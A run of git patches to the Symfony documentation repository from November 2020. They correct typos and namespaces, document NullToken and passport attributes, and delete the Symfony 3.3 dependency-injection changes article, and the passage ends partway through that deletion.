 ``regions``
 ~~~~~~~~~~~
 
-**type**: ``int`` **default**: ``\DateTimeZone::ALL``
+**type**: ``integer`` **default**: ``\DateTimeZone::ALL``
 
 .. deprecated:: 4.2
 

From 7b5bb01370ce749e2eeaacd6c061008b9f9ca34f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Nov 2020 11:40:34 +0100
Subject: [PATCH 1474/7107] Enhancement: Add new rule "string_replacement"

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index e8f02a9fb05..52a1fc2ba4a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -34,6 +34,7 @@ rules:
     short_array_syntax: ~
     space_between_label_and_link_in_doc: ~
     space_between_label_and_link_in_ref: ~
+    string_replacement: ~
     typo: ~
     unused_links: ~
     use_deprecated_directive_instead_of_versionadded: ~

From 1aa619a120c847a796ce2bebcd37c9189acd8534 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Fri, 13 Nov 2020 17:49:22 +0100
Subject: [PATCH 1475/7107] Fix broken configuration block

---
 lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lock.rst b/lock.rst
index 51f375adc33..3fde32ee190 100644
--- a/lock.rst
+++ b/lock.rst
@@ -223,7 +223,7 @@ Named Lock
 ----------
 
 If the application needs different kind of Stores alongside each other, Symfony
-provides :ref:`named lock <reference-lock-resources-name>`::
+provides :ref:`named lock <reference-lock-resources-name>`:
 
 .. configuration-block::
 

From 6b7c7fb1bfbdd64052c900423c50e3223abbd9b7 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sat, 14 Nov 2020 10:40:26 +0100
Subject: [PATCH 1476/7107] [Validator] Remove empty line from annotation

---
 reference/constraints/DivisibleBy.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index c93052a248a..f4ae78ab0f8 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -33,7 +33,6 @@ The following constraints ensure that:
 
         class Item
         {
-
             /**
              * @Assert\DivisibleBy(0.25)
              */

From b781296cf0e084b00ee8f4f4aee78c7604c60099 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sat, 14 Nov 2020 15:27:25 +0100
Subject: [PATCH 1477/7107] [Validator] Fix ExpressionLanguageSyntax example

---
 reference/constraints/ExpressionLanguageSyntax.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 2ca0355dfaf..18c465e8a9d 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -40,13 +40,13 @@ The following constraints ensure that:
         class Order
         {
             /**
-             * @Assert\ExpressionLanguageSyntax()
+             * @Assert\ExpressionLanguageSyntax
              */
             protected $promotion;
 
             /**
              * @Assert\ExpressionLanguageSyntax(
-             *     allowedVariables = ['user', 'shipping_centers']
+             *     allowedVariables={"user", "shipping_centers"}
              * )
              */
             protected $shippingOptions;
@@ -77,7 +77,10 @@ The following constraints ensure that:
                 </property>
                 <property name="shippingOptions">
                     <constraint name="ExpressionLanguageSyntax">
-                        <option name="allowedVariables">['user', 'shipping_centers']</option>
+                        <option name="allowedVariables">
+                            <value>user</value>
+                            <value>shipping_centers</value>
+                        </option>
                     </constraint>
                 </property>
             </class>

From 2496ee7b29ea29da22f3da1b2dec6ea062c38dfe Mon Sep 17 00:00:00 2001
From: Arman Hosseini <namra.1377@gmail.com>
Date: Sun, 15 Nov 2020 02:16:52 +0330
Subject: [PATCH 1478/7107] Update README.markdown

Clarify the Note section
---
 README.markdown | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/README.markdown b/README.markdown
index 1d94f6f1ff0..8923f022322 100644
--- a/README.markdown
+++ b/README.markdown
@@ -11,9 +11,9 @@ Symfony documentation, please read
 [Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
 > **Note**
-> Unless you're documenting a feature that was introduced *after* Symfony 3.4
-> (e.g. in Symfony 4.4), all pull requests must be based off of the **3.4** branch,
-> **not** the master or older branches.
+> All pull requests must be based off of the **3.4** branch,
+> unless you're documenting a feature that was introduced *after* Symfony 3.4
+> (e.g. in Symfony 4.4), **not** the master or older branches.
 
 SymfonyCloud
 ------------

From a08f0959917ba5a647796759466e3603cbaa8adc Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sat, 14 Nov 2020 10:09:28 +0100
Subject: [PATCH 1479/7107] [Validator] Remove extra space

---
 reference/constraints/Isbn.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index d2ad1e2c909..2820fce0052 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -37,7 +37,7 @@ on an object that will contain an ISBN.
             /**
              * @Assert\Isbn(
              *     type = "isbn10",
-             *     message = "This value is not  valid."
+             *     message = "This value is not valid."
              * )
              */
             protected $isbn;
@@ -51,7 +51,7 @@ on an object that will contain an ISBN.
                 isbn:
                     - Isbn:
                         type: isbn10
-                        message: This value is not  valid.
+                        message: This value is not valid.
 
     .. code-block:: xml
 
@@ -65,7 +65,7 @@ on an object that will contain an ISBN.
                 <property name="isbn">
                     <constraint name="Isbn">
                         <option name="type">isbn10</option>
-                        <option name="message">This value is not  valid.</option>
+                        <option name="message">This value is not valid.</option>
                     </constraint>
                 </property>
             </class>

From bea2e77e83412a560bc9503ec473e2243551b3e6 Mon Sep 17 00:00:00 2001
From: obsirdian <kk@onlfx.com>
Date: Sat, 14 Nov 2020 12:44:14 -0600
Subject: [PATCH 1480/7107] Fix user entity import

---
 security/user_checkers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 83e1dc0554b..d5374e44b03 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -21,8 +21,8 @@ or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationExceptio
 
     namespace App\Security;
 
+    use App\Entity\User as AppUser;
     use App\Exception\AccountDeletedException;
-    use App\Security\User as AppUser;
     use Symfony\Component\Security\Core\Exception\AccountExpiredException;
     use Symfony\Component\Security\Core\User\UserCheckerInterface;
     use Symfony\Component\Security\Core\User\UserInterface;

From 3189563ce824beb9871f4ef27195eed21a3a07d2 Mon Sep 17 00:00:00 2001
From: Arman Hosseini <namra.1377@gmail.com>
Date: Sun, 15 Nov 2020 21:48:36 +0330
Subject: [PATCH 1481/7107] Use AppBundle instead of Acme\UserBundle

AppBundle is used in all contexts and it is better to keep this name until the end in this branch.
---
 security/named_encoders.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index 803f3d16992..78d3094ebbf 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -52,7 +52,7 @@ to apply to all instances of a specific class:
 Another option is to use a "named" encoder and then select which encoder
 you want to use dynamically.
 
-In the previous example, you've set the ``sha512`` algorithm for ``Acme\UserBundle\Entity\User``.
+In the previous example, you've set the ``sha512`` algorithm for ``AppBundle\Entity\User``.
 This may be secure enough for a regular user, but what if you want your admins
 to have a stronger algorithm, for example ``bcrypt``. This can be done with
 named encoders:
@@ -113,8 +113,8 @@ to use it, the class must implement
 The interface requires one method - ``getEncoderName()`` - which should return
 the name of the encoder to use::
 
-    // src/Acme/UserBundle/Entity/User.php
-    namespace Acme\UserBundle\Entity;
+    // src/AppBundle/Entity/User.php
+    namespace AppBundle\Entity\User;
 
     use Symfony\Component\Security\Core\Encoder\EncoderAwareInterface;
     use Symfony\Component\Security\Core\User\UserInterface;

From 3a439bddc1646c482f3f6f78894391c0153199da Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 16 Nov 2020 00:02:25 +0100
Subject: [PATCH 1482/7107] [#14011] Documented the NullToken usage

---
 security/experimental_authenticators.rst | 36 ++++++++++++++++++++++++
 1 file changed, 36 insertions(+)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index d0813795b12..45c0edb882d 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -135,6 +135,42 @@ unauthenticated access (e.g. the login page):
             ],
         ]);
 
+Granting Anonymous Users Access in a Custom Voter
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``NullToken`` class was introduced in Symfony 5.2.
+
+If you're using a :doc:`custom voter </security/voters>`, you can allow
+anonymous users access by checking for a special
+:class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\NullToken`. This token is used
+in the voters to represent the unauthenticated access::
+
+    // src/Security/PostVoter.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\Security\Core\Authentication\Token\NullToken;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Voter;
+
+    class PostVoter extends Voter
+    {
+        // ...
+
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
+        {
+            // ...
+
+            if ($token instanceof NullToken) {
+                // the user is not authenticated, e.g. only allow them to
+                // see public posts
+                return $subject->isPublic();
+            }
+        }
+    }
+
 .. _authenticators-required-entry-point:
 
 Configuring the Authentication Entry Point

From 0eae59cf1d7b3c8a02d6610127ea89115dd628dd Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 16 Nov 2020 00:12:03 +0100
Subject: [PATCH 1483/7107] Documented passport attributes

---
 security/experimental_authenticators.rst | 37 ++++++++++++++++++++++++
 1 file changed, 37 insertions(+)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index d0813795b12..0a713e6b0ca 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -502,3 +502,40 @@ authenticator, you would initialize the passport like this::
             ]);
         }
     }
+
+.. tip::
+
+    Besides badges, passports can define attributes, which allows the
+    ``authenticate()`` method to store arbitrary information in the
+    passport to access it from other authenticator methods (e.g.
+    ``createAuthenticatedToken()``)::
+
+        // ...
+        use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+
+        class LoginAuthenticator extends AbstractAuthenticator
+        {
+            // ...
+
+            public function authenticate(Request $request): PassportInterface
+            {
+                // ... process the request
+
+                $passport = new SelfValidatingPassport($username, []);
+
+                // set a custom attribute (e.g. scope)
+                $passport->setAttribute('scope', $oauthScope);
+
+                return $passport;
+            }
+
+            public function createAuthenticatedToken(PassportInterface $passport, string $firewallName): TokenInterface
+            {
+                // read the attribute value
+                return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
+            }
+        }
+
+.. versionadded:: 5.2
+
+    Passport attributes were introduced in Symfony 5.2.

From 4129e8ece169f80d10741eb2baf2b7ab5af1fb6a Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Mon, 16 Nov 2020 11:20:31 +0100
Subject: [PATCH 1484/7107] [Event Dispatcher] Fix typo for __invoke()

---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index c7fa7b7d905..3462659efb5 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -122,7 +122,7 @@ listener class:
    the ``kernel.exception`` event);
 #. If that method is not defined either, try to call the ``__invoke()`` magic
    method (which makes event listeners invokable);
-#. If the ``_invoke()`` method is not defined either, throw an exception.
+#. If the ``__invoke()`` method is not defined either, throw an exception.
 
 .. note::
 

From 4e0bdc59bff163866ddae899e11f002a8dd91439 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Mon, 16 Nov 2020 19:55:01 +0100
Subject: [PATCH 1485/7107] [Validator] Fix namespace of UserPassword and
 UserPasswordValidator

---
 reference/constraints/UserPassword.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 9655380bf95..91017168a82 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -20,8 +20,8 @@ Applies to  :ref:`property or method <validation-property-target>`
 Options     - `groups`_
             - `message`_
             - `payload`_
-Class       :class:`Symfony\\Component\\Validator\\Constraints\\UserPassword`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UserPasswordValidator`
+Class       :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`
+Validator   :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator`
 ==========  ===================================================================
 
 Basic Usage

From cb81bdeac1a0e24532742193c5858cd8be69c06a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 17 Nov 2020 10:24:42 +0100
Subject: [PATCH 1486/7107] Removed 3.3 DI changes article

---
 _build/redirection_map               |   1 +
 service_container/3.3-di-changes.rst | 873 ---------------------------
 setup/flex.rst                       |   2 +-
 3 files changed, 2 insertions(+), 874 deletions(-)
 delete mode 100644 service_container/3.3-di-changes.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 66fc6db1b47..6c49dc6bed6 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -508,3 +508,4 @@
 /components/mailer /mailer
 /messenger/message-recorder messenger/dispatch_after_current_bus
 /components/stopwatch https://github.com/symfony/stopwatch
+/service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
diff --git a/service_container/3.3-di-changes.rst b/service_container/3.3-di-changes.rst
deleted file mode 100644
index d57be2c0e5b..00000000000
--- a/service_container/3.3-di-changes.rst
+++ /dev/null
@@ -1,873 +0,0 @@
-The Symfony 3.3 DI Container Changes Explained (autowiring, _defaults, etc)
-===========================================================================
-
-If you look at the ``services.yaml`` file in a new Symfony 3.3 or newer project, you'll
-notice some big changes: ``_defaults``, ``autowiring``, ``autoconfigure`` and more.
-These features are designed to *automate* configuration and make development faster,
-without sacrificing predictability, which is very important! Another goal is to make
-controllers and services behave more consistently. In Symfony 3.3, controllers *are*
-services by default.
-
-The documentation has already been updated to assume you have these new features
-enabled. If you're an existing Symfony user and want to understand the "what"
-and "why" behind these changes, this article is for you!
-
-All Changes are Optional
-------------------------
-
-Most importantly, **you can upgrade to Symfony 3.3 today without making any changes to your app**.
-Symfony has a strict :doc:`backwards compatibility promise </contributing/code/bc>`,
-which means it's always safe to upgrade across minor versions.
-
-All of the new features are **optional**: they are not enabled by default, so you
-need to actually change your configuration files to use them.
-
-.. _`service-33-default_definition`:
-
-The new Default services.yaml File
-----------------------------------
-
-To understand the changes, look at the new default ``services.yaml`` file (this is
-what the file looks like in Symfony 4):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # default configuration for services in *this* file
-            _defaults:
-                autowire: true      # Automatically injects dependencies in your services.
-                autoconfigure: true # Automatically registers your services as commands, event subscribers, etc.
-                public: false       # Allows optimizing the container by removing unused services; this also means
-                                    # fetching services directly from the container via $container->get() won't work.
-                                    # The best practice is to be explicit about your dependencies anyway.
-
-            # makes classes in src/ available to be used as services
-            # this creates a service per class whose id is the fully-qualified class name
-            App\:
-                resource: '../src/*'
-                exclude: '../src/{Entity,Migrations,Tests}'
-
-            # controllers are imported separately to make sure services can be injected
-            # as action arguments even if you don't extend any base controller class
-            App\Controller\:
-                resource: '../src/Controller'
-                tags: ['controller.service_arguments']
-
-            # add more service definitions when explicit configuration is needed
-            # please note that last definitions always *replace* previous ones
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <defaults autowire="true" autoconfigure="true" public="false"/>
-
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{Entity,Migrations,Tests}"/>
-
-                <prototype namespace="App\Controller\" resource="../src/Controller">
-                    <tag name="controller.service_arguments"/>
-                </prototype>
-
-                <!-- add more services, or override services that need manual wiring -->
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // default configuration for services in *this* file
-            $services = $configurator->services()
-                ->defaults()
-                    ->autowire()      // Automatically injects dependencies in your services.
-                    ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
-            ;
-
-            // makes classes in src/ available to be used as services
-            // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{Entity,Migrations,Tests}');
-
-            // controllers are imported separately to make sure services can be injected
-            // as action arguments even if you don't extend any base controller class
-            $services->load('App\\Controller\\', '../src/Controller')
-                ->tag('controller.service_arguments');
-
-            // add more service definitions when explicit configuration is needed
-            // please note that last definitions always *replace* previous ones
-        };
-
-This small bit of configuration contains a paradigm shift of how services
-are configured in Symfony.
-
-.. _`service-33-changes-automatic-registration`:
-
-1) Services are Loaded Automatically
-------------------------------------
-
-.. seealso::
-
-    Read the documentation for :ref:`automatic service loading <service-psr4-loader>`.
-
-The first big change is that services do *not* need to be defined one-by-one anymore,
-thanks to the following config:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            # makes classes in src/ available to be used as services
-            # this creates a service per class whose id is the fully-qualified class name
-            App\:
-                resource: '../src/*'
-                exclude: '../src/{Entity,Migrations,Tests}'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{Entity,Migrations,Tests}"/>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            // makes classes in src/ available to be used as services
-            // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{Entity,Migrations,Tests}');
-        };
-
-This means that every class in ``src/`` is *available* to be used as a
-service. And thanks to the ``_defaults`` section at the top of the file, all of
-these services are **autowired** and **private** (i.e. ``public: false``).
-
-The service ids are equal to the class name (e.g. ``App\Service\InvoiceGenerator``).
-And that's another change you'll notice in Symfony 3.3: we recommend that you use
-the class name as your service id, unless you have :ref:`multiple services for the same class <services-explicitly-configure-wire-services>`.
-
-    But how does the container know the arguments to my services?
-
-Since each service is :ref:`autowired <services-autowire>`, the container is able
-to determine most arguments automatically. But, you can always override the service
-and :ref:`manually configure arguments <services-manually-wire-args>` or anything
-else special about your service.
-
-    But wait, if I have some model (non-service) classes in my ``src/``
-    directory, doesn't this mean that *they* will also be registered as services?
-    Isn't that a problem?
-
-Actually, this is *not* a problem. Since all the new services are :ref:`private <container-public>`
-(thanks to ``_defaults``), if any of the services are *not* used in your code, they're
-automatically removed from the compiled container. This means that the number of
-services in your container should be the *same* whether your explicitly configure
-each service or load them all at once with this method.
-
-    Ok, but can I exclude some paths that I *know* won't contain services?
-
-Yes! The ``exclude`` key is a glob pattern that can be used to *ignore* paths
-that you do *not* want to be included as services. But, since unused services are
-automatically removed from the container, ``exclude`` is not that important. The
-biggest benefit is that those paths are not *tracked* by the container, and so may
-result in the container needing to be rebuilt less-often in the ``dev`` environment.
-
-2) Autowiring by Default: Use Type-hint instead of Service id
--------------------------------------------------------------
-
-The second big change is that autowiring is enabled (via ``_defaults``) for all
-services you register. This also means that service id's are now *less* important
-and "types" (i.e. class or interface names) are now *more* important.
-
-For example, before Symfony 3.3 (and this is still allowed), you could pass one
-service as an argument to another with the following config:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            app.invoice_generator:
-                class: App\Service\InvoiceGenerator
-
-            app.invoice_mailer:
-                class: App\Service\InvoiceMailer
-                arguments:
-                    - '@app.invoice_generator'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="app.invoice_generator"
-                    class="App\Service\InvoiceGenerator"/>
-
-                <service id="app.invoice_mailer"
-                    class="App\Service\InvoiceMailer">
-
-                    <argument type="service" id="app.invoice_generator"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Service\InvoiceGenerator;
-        use App\Service\InvoiceMailer;
-        use Symfony\Component\DependencyInjection\Reference;
-
-        $container->register('app.invoice_generator', InvoiceGenerator::class);
-        $container->register('app.invoice_mailer', InvoiceMailer::class)
-            ->setArguments([new Reference('app.invoice_generator')]);
-
-To pass the ``InvoiceGenerator`` as an argument to ``InvoiceMailer``, you needed
-to specify the service's *id* as an argument: ``app.invoice_generator``. Service
-id's were the main way that you configured things.
-
-But in Symfony 3.3, thanks to autowiring, all you need to do is type-hint the
-argument with ``InvoiceGenerator``::
-
-    // src/Service/InvoiceMailer.php
-    namespace App\Service;
-
-    // ...
-
-    class InvoiceMailer
-    {
-        private $generator;
-
-        public function __construct(InvoiceGenerator $generator)
-        {
-            $this->generator = $generator
-        }
-
-        // ...
-    }
-
-That's it! Both services are :ref:`automatically registered <service-33-changes-automatic-registration>`
-and set to autowire. Without *any* configuration, the container knows to pass the
-auto-registered ``App\Service\InvoiceGenerator`` as the first argument. As
-you can see, the *type* of the class - ``App\Service\InvoiceGenerator`` - is
-what's most important, not the id. You request an *instance* of a specific type and
-the container automatically passes you the correct service.
-
-    Isn't that magic? How does it know which service to pass me exactly? What if
-    I have multiple services of the same instance?
-
-The autowiring system was designed to be *super* predictable. It first works by looking
-for a service whose id *exactly* matches the type-hint. This means you're in full
-control of what type-hint maps to what service. You can even use service aliases
-to get more control. If you have multiple services for a specific type, *you* choose
-which should be used for autowiring. For full details on the autowiring logic, see :ref:`autowiring-logic-explained`.
-
-    But what if I have a scalar (e.g. string) argument? How does it autowire that?
-
-If you have an argument that is *not* an object, it can't be autowired. But that's
-ok! Symfony will give you a clear exception (on the next refresh of *any* page) telling
-you which argument of which service could not be autowired. To fix it, you can
-:ref:`manually configure *just* that one argument <services-manually-wire-args>`.
-This is the philosophy of autowiring: only configure the parts that you need to.
-Most configuration is automated.
-
-    Ok, but autowiring makes your applications less stable. If you change one thing
-    or make a mistake, unexpected things might happen. Isn't that a problem?
-
-Symfony has always valued stability, security and predictability first. Autowiring
-was designed with that in mind. Specifically:
-
-* If there is a problem wiring *any* argument to *any* service, a clear exception
-  is thrown on the next refresh of *any* page, even if you don't use that service
-  on that page. That's *powerful*: it is *not* possible to make an autowiring mistake
-  and not realize it.
-
-* The container determines *which* service to pass in an explicit way: it looks for
-  a service whose id matches the type-hint exactly. It does *not* scan all services
-  looking for objects that have that class/interface.
-
-Autowiring aims to *automate* configuration without magic.
-
-3) Controllers are Registered as Services
------------------------------------------
-
-The third big change is that, in a new Symfony 3.3 project, your controllers are *services*:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            # controllers are imported separately to make sure they're public
-            # and have a tag that allows actions to type-hint services
-            App\Controller\:
-                resource: '../src/Controller'
-                tags: ['controller.service_arguments']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <prototype namespace="App\Controller\" resource="../src/Controller">
-                    <tag name="controller.service_arguments"/>
-                </prototype>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            // controllers are imported separately to make sure they're public
-            // and have a tag that allows actions to type-hint services
-            $services->load('App\\Controller\\', '../src/Controller')
-                ->tag('controller.service_arguments');
-        };
-
-
-But, you might not even notice this. First, your controllers *can* still extend
-the same base controller class (``AbstractController``).
-This means you have access to all of the same shortcuts as before. Additionally,
-the ``@Route`` annotation and ``_controller`` syntax (e.g. ``App:Default:homepage``)
-used in routing will automatically use your controller as a service (as long as its
-service id matches its class name, which it *does* in this case). See :doc:`/controller/service`
-for more details. You can even create :ref:`invokable controllers <controller-service-invoke>`
-
-In other words, everything works the same. You can even add the above configuration
-to your existing project without any issues: your controllers will behave the same
-as before. But now that your controllers are services, you can use dependency injection
-and autowiring like any other service.
-
-To make life even easier, it's now possible to autowire arguments to your controller
-action methods, like you can with the constructor of services. For example::
-
-    // src/Controller/InvoiceController.php
-    namespace App\Controller;
-
-    use Psr\Log\LoggerInterface;
-
-    class InvoiceController extends AbstractController
-    {
-        public function listInvoices(LoggerInterface $logger)
-        {
-            $logger->info('A new way to access services!');
-        }
-    }
-
-This is *only* possible in a controller, and your controller service must be tagged
-with ``controller.service_arguments`` to make it happen. This new feature is used
-throughout the documentation.
-
-In general, the new best practice is to use normal constructor dependency injection
-(or "action" injection in controllers) instead of fetching public services via
-``$this->get()`` (though that does still work).
-
-.. _service_autoconfigure:
-
-4) Auto-tagging with autoconfigure
-----------------------------------
-
-The fourth big change is the ``autoconfigure`` key, which is set to ``true`` under
-``_defaults``. Thanks to this, the container will auto-tag services registered in
-this file. For example, suppose you want to create an event subscriber. First, you
-create the class::
-
-    // src/EventSubscriber/SetHeaderSusbcriber.php
-    namespace App\EventSubscriber;
-
-    // ...
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpKernel\Event\ResponseEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
-
-    class SetHeaderSusbcriber implements EventSubscriberInterface
-    {
-        public function onKernelResponse(ResponseEvent $event)
-        {
-            $event->getResponse()->headers->set('X-SYMFONY-3.3', 'Less config');
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                KernelEvents::RESPONSE => 'onKernelResponse'
-            ];
-        }
-    }
-
-Great! In Symfony 3.2 or lower, you would now need to register this as a service
-in ``services.yaml`` and tag it with ``kernel.event_subscriber``. In Symfony 3.3,
-you're already done!
-
-The service is :ref:`automatically registered <service-33-changes-automatic-registration>`.
-And thanks to ``autoconfigure``, Symfony automatically tags the service because
-it implements ``EventSubscriberInterface``.
-
-    That sounds like magic - it *automatically* tags my services?
-
-In this case, you've created a class that implements ``EventSubscriberInterface``
-and registered it as a service. This is more than enough for the container to know
-that you want this to be used as an event subscriber: more configuration is not needed.
-And the tags system is its own, Symfony-specific mechanism. And you can
-always set ``autoconfigure`` to ``false`` in ``services.yaml``, or disable it
-for a specific service.
-
-    Does this mean tags are dead? Does this work for all tags?
-
-This does *not* work for all tags. Many tags have *required* attributes, like event
-*listeners*, where you also need to specify the event name and method in your tag.
-Autoconfigure works only for tags without any required tag attributes, and as you
-read the docs for a feature, it'll tell you whether or not the tag is needed. You
-can also look at the extension classes (e.g. `FrameworkExtension for 3.3.0`_) to
-see what it autoconfigures.
-
-    What if I need to add a priority to my tag?
-
-Many autoconfigured tags have an optional priority. If you need to specify a priority
-(or any other optional tag attribute), no problem! :ref:`Manually configure your service <services-manually-wire-args>`
-and add the tag. Your tag will take precedence over the one added by auto-configuration.
-
-5) Auto-configure with _instanceof
-----------------------------------
-
-And the final big change is ``_instanceof``. It acts as a default definition
-template (see `service-33-default_definition`_), but only for services whose
-class matches a defined one.
-
-This can be very useful when many services share some tag that cannot be
-inherited from an abstract definition:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            _instanceof:
-                App\Domain\LoaderInterface:
-                    public: true
-                    tags: ['app.domain_loader']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <instanceof id="App\Domain\LoaderInterface" public="true">
-                    <tag name="app.domain_loader"/>
-                </instanceof>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Domain\LoaderInterface;
-
